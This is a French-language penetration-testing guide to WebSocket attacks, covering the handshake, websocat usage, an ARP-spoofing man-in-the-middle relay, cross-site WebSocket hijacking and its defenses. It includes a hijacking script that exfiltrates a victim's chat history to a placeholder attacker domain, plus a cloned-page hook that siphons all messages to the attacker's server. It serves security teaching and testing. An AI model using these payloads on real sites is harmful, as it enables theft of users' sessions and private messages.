Attaques WebSocket

Reading time: 12 minutes

Qu'est-ce que les WebSockets

Les connexions WebSocket sont établies par le biais d'une négociation HTTP initiale et sont conçues pour être durables, permettant une messagerie bidirectionnelle à tout moment sans avoir besoin d'un système transactionnel. Cela rend les WebSockets particulièrement avantageux pour les applications nécessitant une latence faible ou une communication initiée par le serveur, comme les flux de données financières en direct.

Établissement des connexions WebSocket

Une explication détaillée sur l'établissement des connexions WebSocket peut être consultée ici. En résumé, les connexions WebSocket sont généralement initiées via JavaScript côté client comme indiqué ci-dessous :

var ws = new WebSocket("wss://normal-website.com/ws")

Le protocole wss signifie une connexion WebSocket sécurisée avec TLS, tandis que ws indique une connexion non sécurisée.

Lors de l'établissement de la connexion, une poignée de main est effectuée entre le navigateur et le serveur via HTTP. Le processus de poignée de main implique que le navigateur envoie une requête et que le serveur répond, comme illustré dans les exemples suivants :

Le navigateur envoie une requête de poignée de main :

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Réponse de la poignée de main du serveur :

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

La connexion reste ouverte pour l'échange de messages dans les deux sens une fois établie.

Points clés de la poignée de main WebSocket :

• Les en-têtes Connection et Upgrade signalent le début d'une poignée de main WebSocket.
• L'en-tête Sec-WebSocket-Version indique la version du protocole WebSocket souhaitée, généralement 13.
• Une valeur aléatoire encodée en Base64 est envoyée dans l'en-tête Sec-WebSocket-Key, garantissant que chaque poignée de main est unique, ce qui aide à prévenir les problèmes avec les proxies de mise en cache. Cette valeur n'est pas destinée à l'authentification mais à confirmer que la réponse n'est pas générée par un serveur ou un cache mal configuré.
• L'en-tête Sec-WebSocket-Accept dans la réponse du serveur est un hachage de la Sec-WebSocket-Key, vérifiant l'intention du serveur d'ouvrir une connexion WebSocket.

Ces fonctionnalités garantissent que le processus de poignée de main est sécurisé et fiable, ouvrant la voie à une communication en temps réel efficace.

Console Linux

Vous pouvez utiliser websocat pour établir une connexion brute avec un websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou pour créer un serveur websocat :

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Si vous constatez que des clients sont connectés à un HTTP websocket depuis votre réseau local actuel, vous pourriez essayer une ARP Spoofing Attack pour effectuer une attaque MitM entre le client et le serveur.
Une fois que le client essaie de se connecter, vous pouvez alors utiliser :

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Énumération des Websockets

Vous pouvez utiliser l'outil https://github.com/PalindromeLabs/STEWS pour découvrir, identifier et rechercher des vulnérabilités connues dans les websockets automatiquement.

Outils de débogage Websocket

• Burp Suite prend en charge la communication MitM des websockets de manière très similaire à la communication HTTP classique.
• L'extension Burp Suite socketsleuth vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l' historique, en définissant des règles d'interception, en utilisant des règles de correspondance et de remplacement, en utilisant Intruder et AutoRepeater.
• WSSiP: Abréviation de "WebSocket/Socket.io Proxy", cet outil, écrit en Node.js, fournit une interface utilisateur pour capturer, intercepter, envoyer des messages personnalisés et visualiser toutes les communications WebSocket et Socket.IO entre le client et le serveur.
• wsrepl est un REPL websocket interactif conçu spécifiquement pour les tests de pénétration. Il fournit une interface pour observer les messages websocket entrants et envoyer de nouveaux, avec un cadre facile à utiliser pour automatiser cette communication.
• https://websocketking.com/ c'est un web pour communiquer avec d'autres webs en utilisant des websockets.
• https://hoppscotch.io/realtime/websocket parmi d'autres types de communications/protocoles, il fournit un web pour communiquer avec d'autres webs en utilisant des websockets.

Décryptage des Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Laboratoire Websocket

Dans Burp-Suite-Extender-Montoya-Course, vous avez un code pour lancer un web utilisant des websockets et dans ce post vous pouvez trouver une explication.

Fuzzing Websocket

L'extension burp Backslash Powered Scanner permet désormais également de fuzzing des messages WebSocket. Vous pouvez lire plus d'informations à ce sujet ici.

Détournement de WebSocket entre sites (CSWSH)

Le détournement de WebSocket entre sites, également connu sous le nom de détournement de WebSocket cross-origin, est identifié comme un cas spécifique de Cross-Site Request Forgery (CSRF) affectant les échanges de WebSocket. Cette vulnérabilité survient lorsque les échanges de WebSocket s'authentifient uniquement via des cookies HTTP sans tokens CSRF ou mesures de sécurité similaires.

Les attaquants peuvent en tirer parti en hébergeant une page web malveillante qui initie une connexion WebSocket entre sites à une application vulnérable. Par conséquent, cette connexion est considérée comme faisant partie de la session de la victime avec l'application, exploitant le manque de protection CSRF dans le mécanisme de gestion des sessions.

Pour que cette attaque fonctionne, voici les exigences :

• L'authentification websocket doit être basée sur des cookies
• Le cookie doit être accessible depuis le serveur des attaquants (cela signifie généralement SameSite=None) et aucune protection totale des cookies activée dans Firefox et aucun cookie tiers bloqué dans Chrome.
• Le serveur websocket ne doit pas vérifier l'origine de la connexion (ou cela doit être contournable)

Aussi :

• Si l'authentification est basée sur une connexion locale (vers localhost ou un réseau local), l'attaque sera possible car aucune protection actuelle ne l'interdit (voir plus d'infos ici)

Attaque Simple

Notez que lors de l'établissement d'une connexion websocket, le cookie est envoyé au serveur. Le serveur peut l'utiliser pour relier chaque utilisateur spécifique à sa session websocket basée sur le cookie envoyé.

Ensuite, si par exemple le serveur websocket renvoie l'historique de la conversation d'un utilisateur si un msg avec "READY" est envoyé, alors un XSS simple établissant la connexion (le cookie sera envoyé automatiquement pour autoriser l'utilisateur victime) en envoyant "READY" pourra récupérer l'historique de la conversation.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie avec un sous-domaine différent

Dans cet article de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, l'attaquant a réussi à exécuter du Javascript arbitraire dans un sous-domaine du domaine où la communication par websocket avait lieu. Comme c'était un sous-domaine, le cookie était envoyé, et parce que le Websocket ne vérifiait pas correctement l'Origin, il était possible de communiquer avec lui et de voler des tokens.

Vol de données de l'utilisateur

Copiez l'application web que vous souhaitez usurper (les fichiers .html par exemple) et à l'intérieur du script où la communication par websocket a lieu, ajoutez ce code :

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Téléchargez maintenant le fichier wsHook.js depuis https://github.com/skepticfx/wshook et enregistrez-le dans le dossier contenant les fichiers web.
En exposant l'application web et en faisant en sorte qu'un utilisateur s'y connecte, vous pourrez voler les messages envoyés et reçus via websocket :

sudo python3 -m http.server 80

Protections CSWSH

L'attaque CSWSH est basée sur le fait qu'un utilisateur se connectera à une page malveillante qui ouvrira une connexion websocket à une page web où l'utilisateur est déjà connecté et s'authentifiera en tant que lui car la requête enverra les cookies de l'utilisateur.

De nos jours, il est très facile de prévenir ce problème :

• Vérification de l'origine par le serveur websocket : Le serveur websocket doit toujours vérifier d'où un utilisateur se connecte pour empêcher des pages inattendues de se connecter à lui.
• Jeton d'authentification : Au lieu de baser l'authentification sur un cookie, la connexion websocket pourrait être basée sur un jeton généré par le serveur pour l'utilisateur, inconnu de l'attaquant (comme un jeton anti-CSRF).
• Attribut de cookie SameSite : Les cookies avec la valeur SameSite comme Lax ou Strict ne seront pas envoyés depuis une page d'attaquant externe vers le serveur victime, par conséquent, l'authentification basée sur les cookies ne sera pas réussie. Notez que Chrome attribue maintenant la valeur Lax aux cookies sans ce drapeau spécifié, rendant cela plus sécurisé par défaut. Cependant, les deux premières minutes après la création d'un cookie, il aura la valeur None, le rendant vulnérable pendant cette période limitée (il est également prévu que cette mesure soit supprimée à un moment donné).
• Protection totale des cookies de Firefox : La protection totale des cookies fonctionne en isolant les cookies au site dans lequel ils sont créés. Essentiellement, chaque site a sa propre partition de stockage de cookies pour empêcher les tiers de lier l'historique de navigation d'un utilisateur. Cela rend CSWSH inutilisable car le site de l'attaquant n'aura pas accès aux cookies.
• Blocage des cookies tiers de Chrome : Cela pourrait également empêcher l'envoi du cookie de l'utilisateur authentifié au serveur websocket même avec SameSite=None.

Conditions de course

Les conditions de course dans les WebSockets sont également un problème, consultez cette information pour en savoir plus.

Autres vulnérabilités

Comme les Web Sockets sont un mécanisme pour envoyer des données côté serveur et côté client, selon la manière dont le serveur et le client gèrent l'information, les Web Sockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités comme XSS, SQLi ou toute autre vulnérabilité web courante utilisant l'entrée d'un utilisateur depuis un websocket.

WebSocket Smuggling

Cette vulnérabilité pourrait vous permettre de contourner les restrictions des proxies inverses en leur faisant croire qu'une communication websocket a été établie (même si ce n'est pas vrai). Cela pourrait permettre à un attaquant d'accéder à des points de terminaison cachés. Pour plus d'informations, consultez la page suivante :

Upgrade Header Smuggling

Références

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/